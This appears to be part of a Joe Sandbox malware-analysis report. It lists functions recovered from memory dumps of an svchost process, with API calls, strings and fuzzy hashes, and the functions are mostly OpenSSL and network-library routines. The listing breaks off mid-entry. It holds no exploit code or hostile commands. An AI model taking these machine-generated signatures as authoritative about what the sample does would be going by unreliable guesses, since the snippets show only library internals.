Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free$X_free$L_cleanse
String ID: ssl\record\methods\tls_common.c
API String ID: 3857070794-847517130
Opcode ID: 8d2159bac57eb334fd317ca3dc97f6b5d03ccc3f7ccdcc6aaa2a60c1a2b936cf
Instruction ID: 9e6ed4307f79917a18f7224aef74031d0fde2306f53aedf73ae73dc0c5fd468a
Opcode Fuzzy Hash: 8d2159bac57eb334fd317ca3dc97f6b5d03ccc3f7ccdcc6aaa2a60c1a2b936cf
Instruction Fuzzy Hash: D1213232F1EE9186EA14FB21E8642E96366EF84B80F044431EB9E53797DE3EE551C704

Function 00007FFDA3332F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA3332F7F
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA3332F97
ERR_set_error.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA3332FA8
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA3332FE7
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA3333012
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFDA3343D8B,00000000,00007FFDA332ABE9,?,?,?,?,?,00007FFDA332AB6E), ref: 00007FFDA333303B

Strings

OPENSSL_init_ssl, xrefs: 00007FFDA3332F84
ssl\ssl_init.c, xrefs: 00007FFDA3332F90

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: D_run_once$R_newR_set_debugR_set_error
String ID: OPENSSL_init_ssl$ssl\ssl_init.c
API String ID: 3879570137-538246785
Opcode ID: e3496e332020ca9c6fe1bb8cde3ecf2beeb22889fd1d9285841be6b611d3b505
Instruction ID: 95601269a0b782d2643d91e9fb3c1ebd4eb6f7769c5eb4c9ffeb5b5e8d767b90
Opcode Fuzzy Hash: e3496e332020ca9c6fe1bb8cde3ecf2beeb22889fd1d9285841be6b611d3b505
Instruction Fuzzy Hash: 5A314361F0E90386FB44B715E8717B56293EF94380F549435E80EA23A7DE2FE945C708

Function 00007FFD942F71F0 Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD942F6F18: _invalid_parameter_noinfo.LIBCMT ref: 00007FFD942F6F67
Part of subcall function 00007FFD942F6F18: _invalid_parameter_noinfo.LIBCMT ref: 00007FFD942F6FDF
Part of subcall function 00007FFD942F6F18: _invalid_parameter_noinfo.LIBCMT ref: 00007FFD942F7030

CreateFileW.KERNEL32 ref: 00007FFD942F7306
CreateFileW.KERNEL32 ref: 00007FFD942F7364
GetLastError.KERNEL32 ref: 00007FFD942F7394
GetFileType.KERNEL32 ref: 00007FFD942F73AC
GetLastError.KERNEL32 ref: 00007FFD942F73B6
CloseHandle.KERNEL32 ref: 00007FFD942F73E9
CloseHandle.KERNEL32 ref: 00007FFD942F754F
CreateFileW.KERNEL32 ref: 00007FFD942F7584
GetLastError.KERNEL32 ref: 00007FFD942F7593

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: c58fbda7aea8831e34ac238b45014ac4bd6a023c821147c20068f492f0d5de91
Instruction ID: 014432d100be14540e4ba3cd63f2f9e14527c07d8ec5f807e8a363f86072f3d2
Opcode Fuzzy Hash: c58fbda7aea8831e34ac238b45014ac4bd6a023c821147c20068f492f0d5de91
Instruction Fuzzy Hash: 83C19132B28A4186EB60DFA4C4A02AC3771FB8AB94F509325DE1E97796DF39E451C700

Function 00007FFDA3389730 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA338553C), ref: 00007FFDA3389829
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA338553C), ref: 00007FFDA3389849
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA338553C), ref: 00007FFDA338988D
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA338553C), ref: 00007FFDA33898A5
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA338553C), ref: 00007FFDA33898FD

Strings

tls_setup_write_buffer, xrefs: 00007FFDA3389892
ssl\record\methods\tls_common.c, xrefs: 00007FFDA338981C, 00007FFDA338983F, 00007FFDA338989E, 00007FFDA33898F0

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free$O_mallocR_newR_set_debug
String ID: ssl\record\methods\tls_common.c$tls_setup_write_buffer
API String ID: 681801835-438346174
Opcode ID: 468ba72a43a4c0d3d1ca5aa109d9efe1429000385757ab171fc09a78996c4a09
Instruction ID: efa0a2c42c60e8f362346632f8aa1f2dfbcc67b536a09cc69601528fa16deee5
Opcode Fuzzy Hash: 468ba72a43a4c0d3d1ca5aa109d9efe1429000385757ab171fc09a78996c4a09
Instruction Fuzzy Hash: D951D232F0EF5187EB10BF51E9502A963A6FB44B88F180431DE4D27B86DE3AE656C304

Function 00007FFDA332D360 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFDA332D38B
CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFDA332D3B1
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA332D3CD

Strings

ssl\ssl_cert.c, xrefs: 00007FFDA332D384, 00007FFDA332D3A4, 00007FFDA332D3C6

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_zalloc$O_free
String ID: ssl\ssl_cert.c
API String ID: 1411191933-188639428
Opcode ID: dfaeb06e57066b1833371b19c771e489e53a8360702d172523822accf1e30447
Instruction ID: 337031528b21b9107ceea3c6b4e74e629b22e2a2b188805b9d70808122716578
Opcode Fuzzy Hash: dfaeb06e57066b1833371b19c771e489e53a8360702d172523822accf1e30447
Instruction Fuzzy Hash: 1A115872B1AB4285EB81EF15E4643A832A1FB08784F484035CA4D0739AEF7EE594C709

Function 00007FFDA3337360 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

CRYPTO_free_ex_data.LIBCRYPTO-3-X64(?,00007FFDA3367F02,?,00007FFDA3363609), ref: 00007FFDA333738E
CRYPTO_THREAD_lock_free.LIBCRYPTO-3-X64(?,00007FFDA3367F02,?,00007FFDA3363609), ref: 00007FFDA33373AF
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFDA3367F02,?,00007FFDA3363609), ref: 00007FFDA33373C4

Strings

ssl\ssl_lib.c, xrefs: 00007FFDA33373BA

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: D_lock_freeO_freeO_free_ex_data
String ID: ssl\ssl_lib.c
API String ID: 1442806380-1984206432
Opcode ID: 68dbc8c7bb9ebcc90587d23e049a21a5d4f55a4649e8addeef594cf45cb7a532
Instruction ID: e53b1d9b3d647847fd19ac105a22ec5578698dc221cc53119958fdd5823e36b9
Opcode Fuzzy Hash: 68dbc8c7bb9ebcc90587d23e049a21a5d4f55a4649e8addeef594cf45cb7a532
Instruction Fuzzy Hash: DEF06261F0FE4242EA58BB7998711781312EF44B60F045535ED0E563E3DE2FD8418288

Function 00007FFDA3779330 Relevance: 63.9, APIs: 51, Instructions: 174
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377938A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37793C0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37793D2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37793E4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377941A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779435
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377943F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377944C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779455
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377945F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779469
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779473
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377947D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779487
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779491
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377949B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37794FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779505
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779512
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377951F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377952C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779539
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779546
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779553
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377957D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377958A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779597
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795B1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795E5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795F2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37795FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377960C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779619
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779626
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779633
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779640
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377964D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377965A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779667
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779674
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3779681
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377968E

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9186718d952aa99ffdd076691540635cd7a8686958ebc2398125b42f5949b570
Instruction ID: 0e6299b46625afe97c53203d844f0ba837f0b47103a1ebb996a4405c663eb250
Opcode Fuzzy Hash: 9186718d952aa99ffdd076691540635cd7a8686958ebc2398125b42f5949b570
Instruction Fuzzy Hash: 46A14636A1AA8596EB809F21D8642BD3721FB8DF95F080731CE4E57366CF39D499C314

Function 00007FFDA33819B0 Relevance: 63.5, APIs: 24, Strings: 12, Instructions: 522
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381B14
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381B2C
ERR_set_error.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381B3D
OSSL_PARAM_construct_uint64.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381B59
OSSL_PARAM_construct_uint64.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381BC4
OSSL_PARAM_construct_int.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381BFD
OSSL_PARAM_construct_end.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381C6D
OSSL_PARAM_construct_int.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381CE9
OSSL_PARAM_construct_int.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381D2C
OSSL_PARAM_construct_int.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381D62
OSSL_PARAM_construct_uint32.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381DC9
OSSL_PARAM_construct_uint32.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381E35
OSSL_PARAM_construct_end.LIBCRYPTO-3-X64(00000000,00000000,?,?,000004A0,0001FFFF,?,00000001,00000001,00007FFDA338009E,?,00000000,000004A0), ref: 00007FFDA3381E5A
BIO_s_dgram_mem.LIBCRYPTO-3-X64 ref: 00007FFDA3381ECD
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFDA3381EDC
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFDA33820C0
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA33820EC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3382104
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3382114
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA338212C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3382141
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3382195
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3382222
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA338223A

Strings

tlstree, xrefs: 00007FFDA3381D57
use_etm, xrefs: 00007FFDA3381CDE
options, xrefs: 00007FFDA3381B4E
mode, xrefs: 00007FFDA3381B65
max_frag_len, xrefs: 00007FFDA3381DBE
read_buffer_len, xrefs: 00007FFDA3381BBD
ssl_set_new_record_layer, xrefs: 00007FFDA3381B19, 00007FFDA33820F6, 00007FFDA3382119, 00007FFDA3382227
read_ahead, xrefs: 00007FFDA3381BD0
block_padding, xrefs: 00007FFDA3381C34
stream_mac, xrefs: 00007FFDA3381D21
max_early_data, xrefs: 00007FFDA3381E2A
ssl\record\rec_layer_s3.c, xrefs: 00007FFDA3381B25, 00007FFDA33820FD, 00007FFDA3382125, 00007FFDA3382233

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_new$M_construct_intR_set_debug$M_construct_endM_construct_uint32M_construct_uint64$O_freeO_newO_s_dgram_memR_set_error
String ID: block_padding$max_early_data$max_frag_len$mode$options$read_ahead$read_buffer_len$ssl\record\rec_layer_s3.c$ssl_set_new_record_layer$stream_mac$tlstree$use_etm
API String ID: 3782620925-1760797909
Opcode ID: 26df34efff16ab7e7fd55ff4b810bd16375307e5f442621eda72973cbc762beb
Instruction ID: 1a7ec0a3ff59d5ab2b9725584d70bcbf19e0cee66fc7f441b3024ad992553638
Opcode Fuzzy Hash: 26df34efff16ab7e7fd55ff4b810bd16375307e5f442621eda72973cbc762beb
Instruction Fuzzy Hash: 4E424B22E0DF8686E761AF68D8503E933A2FB58748F048235DE4D67756DF39E185C304

Function 00007FFDA3773BC7 Relevance: 58.1, APIs: 22, Strings: 11, Instructions: 306
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3773C68
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA3773CD4
socket.WS2_32 ref: 00007FFDA3773CF3
WSAGetLastError.WS2_32 ref: 00007FFDA3773D06

Strings

could not set socket to nonblocking mode: %s, xrefs: 00007FFDA3773DF8
keepalives_interval, xrefs: 00007FFDA3773F11
keepalives parameter must be an integer, xrefs: 00007FFDA3773E4D
WSAIoctl, xrefs: 00007FFDA3773F54
tcp_user_timeout, xrefs: 00007FFDA3774019
keepalives_idle, xrefs: 00007FFDA3773F8D
could not create socket: %s, xrefs: 00007FFDA3773D57
%s(%s) failed: error code %d, xrefs: 00007FFDA3773F5F
could not set socket to TCP no delay mode: %s, xrefs: 00007FFDA3773DC8
invalid integer value "%s" for connection option "%s", xrefs: 00007FFDA3773F97, 00007FFDA3774023
SIO_KEEPALIVE_VALS, xrefs: 00007FFDA3773F4A

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: ErrorLast_strdupfreesocket
String ID: %s(%s) failed: error code %d$SIO_KEEPALIVE_VALS$WSAIoctl$could not create socket: %s$could not set socket to TCP no delay mode: %s$could not set socket to nonblocking mode: %s$invalid integer value "%s" for connection option "%s"$keepalives parameter must be an integer$keepalives_idle$keepalives_interval$tcp_user_timeout
API String ID: 3112834638-675630034
Opcode ID: 8cd08dfe8031b0aaf4a845d97061ffdad2b2a9228fa88f5f927dcb7eefd18dce
Instruction ID: 10d9b88d13d07858b09010664e8736444a4aa6b3ae2df3a926f3c76696f85c3f
Opcode Fuzzy Hash: 8cd08dfe8031b0aaf4a845d97061ffdad2b2a9228fa88f5f927dcb7eefd18dce
Instruction Fuzzy Hash: 0CF1C222B0EA8282F7908F25D4602BC37A2FB45B84F445231EE4E67396DF7EE585C754

Function 682814A0 Relevance: 51.1, APIs: 27, Strings: 2, Instructions: 312
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 682814E9
strcmp.MSVCRT ref: 68281514
strcmp.MSVCRT ref: 6828152B
free.MSVCRT ref: 6828154A
strcmp.MSVCRT ref: 6828157D
_strdup.MSVCRT ref: 68281589
free.MSVCRT ref: 682815A5
pthread_rwlock_unlock.LIBWINPTHREAD-1 ref: 682815C7
strlen.MSVCRT ref: 682815FB
malloc.MSVCRT ref: 68281608
memcpy.MSVCRT ref: 68281623
strcmp.MSVCRT ref: 6828163B
_strdup.MSVCRT ref: 68281669
strcmp.MSVCRT ref: 68281696
strcmp.MSVCRT ref: 682816AB
strlen.MSVCRT ref: 6828171C
malloc.MSVCRT ref: 68281729
memcpy.MSVCRT ref: 68281744
_strdup.MSVCRT ref: 68281765
_strdup.MSVCRT ref: 682817CA
free.MSVCRT ref: 682817DE
free.MSVCRT ref: 68281814
abort.MSVCRT ref: 68281822
pthread_rwlock_wrlock.LIBWINPTHREAD-1 ref: 68281859
abort.MSVCRT ref: 68281881

Strings

pq)h, xrefs: 68281521, 68281538, 6828162C, 68281640, 68281752, 68281776, 68281787, 6828179C
8`)h, xrefs: 682815C0, 68281852, 682818B2

Memory Dump Source

Source File: 00000035.00000002.3360027676.0000000068281000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68280000, based on PE: true

Associated: 00000035.00000002.3360005479.0000000068280000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360061025.0000000068296000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360094548.0000000068297000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360130835.00000000682A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360164781.00000000682A1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360185514.00000000682A4000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360206133.00000000682A5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000035.00000002.3360206133.00000000682EC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_68280000_svchost.jbxd

Similarity

API ID: strcmp$_strdupfree$abortmallocmemcpystrlen$pthread_rwlock_unlockpthread_rwlock_wrlock
String ID: 8`)h$pq)h
API String ID: 1031399696-283867673
Opcode ID: cb983b356597ae51a9f56790f2f6bd878aa87684a455ba1a6645e18326cee76a
Instruction ID: 5793e577236a2a3729ad3064a16418873e0c77d2e3cfaac9fddc10f9c11526e5
Opcode Fuzzy Hash: cb983b356597ae51a9f56790f2f6bd878aa87684a455ba1a6645e18326cee76a
Instruction Fuzzy Hash: 79A1CEA670579E85EF199F17A90476923A5BB45BC9FC88029DE7A477C0EF38C0D8C300

Function 00007FFDA3773552 Relevance: 38.9, APIs: 8, Strings: 14, Instructions: 397
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377361D
memset.VCRUNTIME140 ref: 00007FFDA377366C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37736A3
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA37736BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37736CE
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA37736F3
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3773919
memcpy.VCRUNTIME140 ref: 00007FFDA377396E

Part of subcall function 00007FFDA3782D70: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,-00000001,00007FFDA37715B3), ref: 00007FFDA3782D89
